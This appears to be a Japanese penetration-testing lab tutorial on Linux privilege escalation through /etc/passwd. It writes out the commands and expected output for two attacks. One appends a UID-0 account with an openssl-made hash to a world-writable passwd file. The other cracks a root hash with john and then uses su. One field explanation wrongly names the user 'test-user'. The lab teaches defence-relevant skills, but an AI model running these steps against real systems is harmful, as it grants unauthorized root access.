はじめに
/etc/passwd と /etc/shadow ファイルは、Linux システムにおけるユーザー認証にとって重要です。システム管理者がこれらのファイルの内容やパーミッションを誤って設定すると、特権昇格の脆弱性につながる可能性があります。この実験では、/etc/passwd ファイルを悪用した特権昇格の方法を探ります。
/etc/passwd ファイルの理解
このステップでは、/etc/passwd ファイルの構造と意味を探ります。
Linux システムでは、ユーザーのパスワード情報は /etc/passwd と /etc/shadow の 2 つのファイルに格納されています。/etc/passwd ファイルにはユーザー情報が含まれており、各行が 1 つのユーザーアカウントを表しています。各行はコロンで区切られた 7 つのフィールドに分かれています。
- ユーザー名
- パスワード(
xに設定されている場合、パスワードは/etc/shadowに格納されています) - ユーザー ID (UID、ルートユーザーは 0)
- グループ ID (GID)
- ユーザー情報(フルネーム、部屋番号、勤務先電話番号、自宅電話番号など)
- ホームディレクトリ
- デフォルトシェル
次に、ターミナルを開き、/home/labex/project ディレクトリに移動して次のステップに進みます。
cd /home/labex/project
/etc/passwd ファイルから labex ユーザーの情報を取得し、/home/labex/project ディレクトリに labex_passwd.txt という名前のファイルに保存します。
grep labex /etc/passwd > /home/labex/project/labex_passwd.txt
labex_passwd.txt ファイルの内容を確認します。
cat labex_passwd.txt
期待される出力:
labex:x:5000:5000::/home/labex:/usr/bin/zsh
各フィールドの意味は次の通りです。
- ユーザー名:test-user
- パスワード:
/etc/shadowに格納されています(xで示されます) - UID: 5000
- GID: 5000
- ユーザー情報:この場合は空です
- ホームディレクトリ:
/home/labex - デフォルトシェル:
/usr/bin/zsh
Linux の認証プロセスでは、次の手順が行われます。
- 入力されたユーザー名が
/etc/passwdファイルの各行の最初のフィールドと照合されます。 - 一致するものが見つかった場合、2 番目のフィールドのパスワードが比較されます。
- 認証に成功すると、ユーザーの権限は UID(3 番目のフィールド)と GID(4 番目のフィールド)によって決定されます。
- 重要なのは、UID が
0の場合はルートユーザーを表し、ユーザー名に関係なく完全な管理権限が付与されます。
このように、/etc/passwd ファイルは Linux の認証プロセスにおいて重要な役割を果たしています。攻撃者がこのファイルを変更できる場合、不正アクセスを行い、特権を昇格させる可能性があります。
/etc/passwd を介した特権昇格(書き込みアクセス)
このステップでは、/etc/passwd ファイルへの書き込みアクセスを悪用して特権を昇格させる方法を学びます。
まず、実験環境をセットアップしましょう。ターミナルを開き、
/home/labex/projectディレクトリに移動します。cd /home/labex/project次のコマンドを実行して、実験環境をセットアップします。
./env_setup1.shこのコマンドは、実験環境をセットアップするスクリプトを実行します。環境が準備できたことを示す出力が表示されるはずです。
セットアップが完了すると、
user001ユーザーとしてログインします。これは、ペネトレーションテスト中に取得した初期シェルアクセスをシミュレートしています。user001ユーザーのホームディレクトリに移動します。cd ~whoamiコマンドを使用して、現在のユーザーを確認します。whoami期待される出力:
user001idコマンドを使用して、ユーザー ID とグループ ID を表示します。id期待される出力:
uid=1001(user001) gid=1001(user001) groups=1001(user001)このように、あなたは特別な特権のない通常のユーザーです。
次に、
/etc/passwdと/etc/shadowファイルのパーミッションを確認します。ls -l /etc/passwd /etc/shadow期待される出力:
--wx--xrwx 1 root root 1961 Apr 5 00:21 /etc/passwd -rw-r----- 1 root user001 1101 Apr 5 00:21 /etc/shadow/etc/passwdファイルには、すべてのユーザーに対して実行と書き込みの権限(--wx--xrwx)があります。これは、システム管理者による誤設定です。
私たちの目標は、/etc/passwd ファイルに、カスタムのユーザー名、パスワード、および UID が 0(ルート)の新しいユーザーエントリを作成することです。これにより、ルートユーザーとしてログインできるようになります。
まず、
/etc/passwdファイル内のルートユーザーのエントリの形式を調べましょう。これをnew_user_entry.txtという名前の新しいファイルに抽出します。cat /etc/passwd | grep root > new_user_entry.txtcatコマンドを使用してnew_user_entry.txtファイルの内容を表示したときの期待される出力:root:x:0:0:root:/root:/bin/bash独自のエントリを作成するために、
new_user_entry.txtファイル内のユーザー名をrootから任意の名前、たとえばnew-userに変更します。new-user:x:0:0:root:/root:/bin/bash2 番目のフィールドの
xを暗号化されたパスワードハッシュに置き換えます。opensslツールを使用して、パスワード(例:pass123)のハッシュを生成できます。openssl passwd -1 -salt ignite pass123期待される出力:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1new_user_entry.txtファイルの 2 番目のフィールドにハッシュを代入します。new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bashこの行を
/etc/passwdファイルに追加します。echo "$(cat new_user_entry.txt)" >> /etc/passwd注意:
/etc/passwdファイルにはすべてのユーザーに対して書き込み権限があるため、新しいエントリを追加できます。実際のシナリオでは、通常のユーザーにこのファイルの書き込み権限を与えるべきではありません。/etc/passwdファイル内でnew-userを検索して、新しいエントリを確認します。cat /etc/passwd | grep new-user期待される出力:
new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash最後に、パスワード
pass123でnew-userユーザーに切り替えます。su new-userパスワードを求められたら、
pass123を入力します。プロンプトの変更によって示されるように、あなたは現在ルート特権を持っているはずです。user001@660ecfa4d7612c798ef141ab:~$ su new-user Password: root@660ecfa4d7612c798ef141ab:/home/user001#
/etc/passwd を介した特権昇格(パスワードハッシュ)
このステップでは、ルートユーザーのパスワードハッシュが /etc/shadow ファイルではなく /etc/passwd ファイルに格納されている場合に、特権を昇格させる方法を学びます。
まず、実験環境をセットアップしましょう。ターミナルを開き、
/home/labex/projectディレクトリに移動します。もしまだ
new-userとしている場合は、exitコマンドを使って現在のシェルを抜け、labexシェルに戻ってから、/home/labex/projectディレクトリに移動します。cd /home/labex/project次のコマンドを実行して、実験環境をセットアップします。
./env_setup2.shこのコマンドは、実験環境をセットアップするスクリプトを実行します。環境が準備できたことを示す出力が表示されるはずです。
セットアップが完了すると、
user001ユーザーとしてログインします。これは、ペネトレーションテスト中に取得した初期シェルアクセスをシミュレートしています。user001ユーザーのホームディレクトリに移動します。cd ~/etc/passwdと/etc/shadowファイルのパーミッションを確認します。ls -l /etc/passwd /etc/shadow-rw-r--r-- 1 root root 2059 Apr 5 01:36 /etc/passwd -rw-r----- 1 root root 1101 Apr 5 00:21 /etc/shadow今回は、ファイルのパーミッションが
正しく設定されており、/etc/passwdファイルには読み取りアクセスのみが許可されています。/etc/passwdファイルの内容を表示して、ルートユーザーのパスワードハッシュを見つけます。cat /etc/passwd | grep ^root > ~/hash.txt次のコマンドを実行して、
hash.txtファイルの内容を確認します。cat ~/hash.txt期待される出力:
root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bashルートユーザーのパスワードハッシュが
/etc/passwdファイルの 2 番目のフィールドに格納されていることに注意してください。これは通常、以前のシステム侵害やシステム管理者による誤設定の結果です。次に、
johnを実行してハッシュをクラックします。john ~/hash.txt > ~/cracked.txtjohnは、辞書攻撃を使ってパスワードハッシュをクラックする人気のあるパスワードクラッキングツールです。出力は、パスワードが正常にクラックされたかどうかを示します。Created directory: /home/user001/.john Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford Use the "--show" option to display all of the cracked passwords reliably Session completedcracked.txtファイルの内容を確認して、クラックされたパスワードを表示します。Loaded 1 password hash (md5crypt [MD5 32/64 X2]) hello (root)このように、
johnはパスワードを正常にクラックしました。パスワードはhelloです。suコマンドを使ってルートユーザーに切り替え、パスワードを求められたらクラックしたパスワードを入力します。su rootパスワードを求められたら、
helloを入力します。コマンドプロンプトの変更によって示されるように、あなたは現在ルート特権を持っているはずです。user001@660ecfa4d7612c798ef141ab:~$ su root Password: root@660ecfa4d7612c798ef141ab:/home/user001#
まとめ
この実験では、Linux のユーザー認証プロセス、/etc/passwd ファイルの重要性、およびそれを利用した特権昇格の方法を学びました。以下の 2 つのシナリオを扱いました。(1) /etc/passwd ファイルに書き込み権限があり、ルート特権を持つ新しいユーザーエントリを作成できる場合。(2) ルートユーザーのパスワードハッシュが /etc/passwd ファイルに格納されており、john ツールを使用してパスワードをクラックできる場合。実践を通じて、/etc/passwd ファイルの誤設定を利用して Linux システムで特権を昇格させる方法について深い理解を得ました。